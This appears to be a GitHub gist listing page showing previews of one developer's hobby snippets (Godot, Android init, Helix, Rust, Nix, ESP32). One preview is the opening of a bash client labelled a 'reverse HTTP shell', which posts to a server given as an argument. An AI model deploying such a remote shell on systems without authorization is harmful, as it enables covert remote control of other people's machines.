Skip to content

Instantly share code, notes, and snippets.

View InfiniteCoder01's full-sized avatar
🏠
Working from home

InfiniteCoder InfiniteCoder01

🏠
Working from home
View GitHub Profile
@InfiniteCoder01
InfiniteCoder01 / README.md
Last active May 9, 2025 16:07
Godot 4 object to dictionary

This small script can convert any godot value to dictionary and back. Useful if you want to serialize/deserialize statically-typed values to/from JSON. Here is a small example:

var data = JSON.stringify(Serializer.serialize(self))
Serializer.deserialize(self, JSON.parse_string(file.get_as_text()))

Serializer.deserialize takes in the default value (which it uses to analyze types) and returns the new value. However, if your value is RefCounted, you can just pass it in and it will be modified in-place

@InfiniteCoder01
InfiniteCoder01 / README.md
Last active December 10, 2024 17:21
Tiny init system to use with Android kernel

This is a tiny init system, which in combination with the original kernel can be used to build a "functional GNU/Linux system". Can be used with pretty much any android system

Usage

Get aarch64-none-linux-gnu cross-compiler toolchain (for example here). Compile init using aarch64-none-linux-gnu-gcc init.c -o init -static Repack boot.img (or a TWRP recovery) using Android boot image editor Profit!

@InfiniteCoder01
InfiniteCoder01 / README.md
Last active October 19, 2024 13:02
Game of life in helix editor (experimental plugins in steel scheme PR)

Instructions

You will need a copy of this helix fork (works for sure in this commit, in case breaking changes happen)

Follow instructions in STEEL.md (you might need to add +stable after cargo to all commands if you get helix-term build errors, f. e. cargo xtask steel will become cargo +stable xtask steel) to install helix and steel and don't forget to run cargo xtask code-gen (or cargo +stable xtask code-gen) after you install helix to generate bindings

Copy all files in this gist into your helix config directory (game-of-life.scm into cogs subdirectory inside)

@InfiniteCoder01
InfiniteCoder01 / kitty.py
Created August 1, 2024 09:38
Minimal Kitty Graphics Protocol image example
# Prints a tiny orange image, using Kitty Graphics Protocol and a PNG
# Tested in Konsole and Kitty
# Image licensed as CC0
print('\x1b_Ga=T,f=100;iVBORw0KGgoAAAANSUhEUgAAAAoAAAAPCAYAAADd/14OAAAAAXNSR0IArs4c6QAAAJpJREFUKJFjZMADVIKs/8PYjPgUmeb/YmBgYGA4PZENu0J0RXfWHWVkwWXi6YlsDAwMDAx31h1lxLDaWlz1PzL/6MvbcHlGZEX7er6hmOpUwgVXzIhLEbpiRnyKGBgYGBiPv2dwXCvNwIRTBRqgjkLG4+8JK0RWxMCAw9fIihzXSkN8DROwFlf9vz/4KYopMEVwE5EVI/ORYwYAW+BBDZRW2fwAAAAASUVORK5CYII=\x1b\\')
@InfiniteCoder01
InfiniteCoder01 / client.sh
Created July 6, 2024 19:11
Simple reverse HTTP shell (bash for client, python for server)
#!/usr/bin/env bash
SERVER="$1"
TIMEOUT="$2"
TIMEOUT=${TIMEOUT:-600}
if [ -z "$SERVER" ]; then
echo -e "\e[31m[!] Usage: bash client.sh [HOST] [Optional curl timeout]\e[0m\n"
exit 0
fi
curl --silent --max-time $TIMEOUT -X POST --data 'Hello, hacker!' $SERVER
@InfiniteCoder01
InfiniteCoder01 / renderer.rs
Created November 15, 2023 14:30
Just a random heavily-paralellized piece of code that can draw to a framebuffer. You can make a library out of it
use fontdue::layout::Layout;
use rayon::{prelude::*, slice::ParallelSliceMut};
#[derive(Clone, Copy, Debug, PartialEq, Eq, PartialOrd, Ord)]
pub struct Color {
pub r: u8,
pub g: u8,
pub b: u8,
}
@InfiniteCoder01
InfiniteCoder01 / flake.nix
Last active August 23, 2024 08:41
Template flake
{
inputs = {
flake-utils.url = "github:numtide/flake-utils";
};
outputs = { self, nixpkgs, flake-utils }:
flake-utils.lib.eachDefaultSystem
(system: let
pkgs = (import nixpkgs { inherit system; });
in
@InfiniteCoder01
InfiniteCoder01 / demo-turn-by-step.py
Last active October 3, 2024 14:22
RoboIntellect python wrapper
from risdk import *
def main():
# Создание компонента i2c адаптера модели ch341
i2c = I2CAdapter("ch341")
# Создание компонента ШИМ модели pca9685
pwm = PWM("pca9685")
# Создание компонента сервопривода модели mg90s
use raylib::prelude::*;
pub fn update_camera(rl: &RaylibHandle, camera: &mut Camera3D, mouse_delta: Vector2) {
let speed = 5.0;
let sensivity = 0.003;
{
// Rotate
camera.target = (camera.target - camera.position).rotate_by(Quaternion::from_axis_angle(
camera.up,
@InfiniteCoder01
InfiniteCoder01 / sd.rs
Created June 5, 2023 10:47
Rust ESP32 STD SPI SD card mount.
// Thanks to https://gist.github.com/flaminggoat/6106ef29de5df367fb907cf05c363c17
use std::{ffi::c_int, ptr::null_mut};
#[allow(dead_code)]
pub fn setup_sd() {
const SDMMC_HOST_FLAG_1BIT: u32 = 1 << 0; // host supports 1-line SD and MMC protocol
const SDMMC_HOST_FLAG_4BIT: u32 = 1 << 1; // host supports 4-line SD and MMC protocol
const SDMMC_HOST_FLAG_8BIT: u32 = 1 << 2; // host supports 8-line MMC protocol
const SDMMC_HOST_FLAG_SPI: u32 = 1 << 3; // host supports SPI protocol
const SDMMC_HOST_FLAG_DDR: u32 = 1 << 4; // host supports DDR mode for SD/MMC